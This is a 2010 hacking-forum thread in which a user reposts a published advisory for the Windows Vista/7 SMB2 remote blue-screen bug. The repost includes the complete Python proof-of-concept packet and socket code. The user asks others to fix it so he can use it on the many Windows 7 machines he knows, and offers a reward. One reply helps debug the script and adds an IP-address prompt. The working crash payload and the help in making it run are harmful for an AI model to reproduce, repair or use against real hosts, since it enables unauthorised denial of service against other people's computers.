

Forum:[Hack Forums](#)

Thread: [\[HELP\] Win Vista/7 Smb BSOD Exploit](#)

Phizo - May 21, 2010, 7:45 pm

I need a good python coder to help me fix this, I can't get it to work and I know so many computers with windows 7 and I have seen this been used on youtube and such, can someone please re-code it to make it work? I have 2 different python versions install (2.6.5 and 3.1.6)

Exploit:

Code =====

- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High

=====

I. VULNERABILITY

Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND

Windows vista and newer Windows comes with a new SMB version named SMB2.

See:

http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality.

The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT

Smb-Bsod.py:

```
#!/usr/bin/python
```

```
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field  
it dies with a  
# PAGE_FAULT_IN_NONPAGED_AREA
```

```
from socket import socket  
from time import sleep
```

```
host = "IP_ADDR", 445  
buff = (
```

```
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negotiate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
```

V. BUSINESS IMPACT

An attacker can remotely crash without no user interaction, any Vista/Windows 7 machine with SMB enabled.
Windows Xp, 2k, are NOT affected as they don't have this driver.

VI. SYSTEMS AFFECTED

Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it uses the same SMB2.0 driver (not tested).

VII. SOLUTION

Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES

<http://microsoft.com>

IX. CREDITS

This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}@gmail.com
<http://g-laurent.blogspot.com/>

X. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or

misuse of this information.

Please PM me the fixed version if possible, thanks. To those who help will get a reward :).

I would also like to run this in metasploit if possible.

Phizo - May 21, 2010, 9:35 pm

Come on, someone must know how to fix this.

Codeine - May 21, 2010, 9:45 pm

whats the problem your having

and one thing i did notice is that if your keeping the header comment

```
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
you would change to
```

```
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
```

And also do you even understand how this works? Because you really should be attempting anything

EDIT:

```
Code ip=raw_input("IP Address: ")
```

```
host = ip, 445
```

If you do it like that you will be able to enter your own IP address so that there is no need to change it in the source everytime,

i havnt tested it yet but i'll set a w7 vm and check it out

Phizo - May 22, 2010, 2:30 am

No, I don't really understand how this works. I'm learning Python now, reading books and how to code exploits with it. But I don't have enough knowledge just yet to fix it myself, and I will try your edit now :)

Thanks.

That fixed that error, I got an error on this last bit:

```
Code }
```

```
s = socket()
```

```
s.connect(host)
```

```
s.send(buff)
```

```
s.close()
```

After "s = socket()" I get a error after it, not on it. It says this: EOL while scanning string literal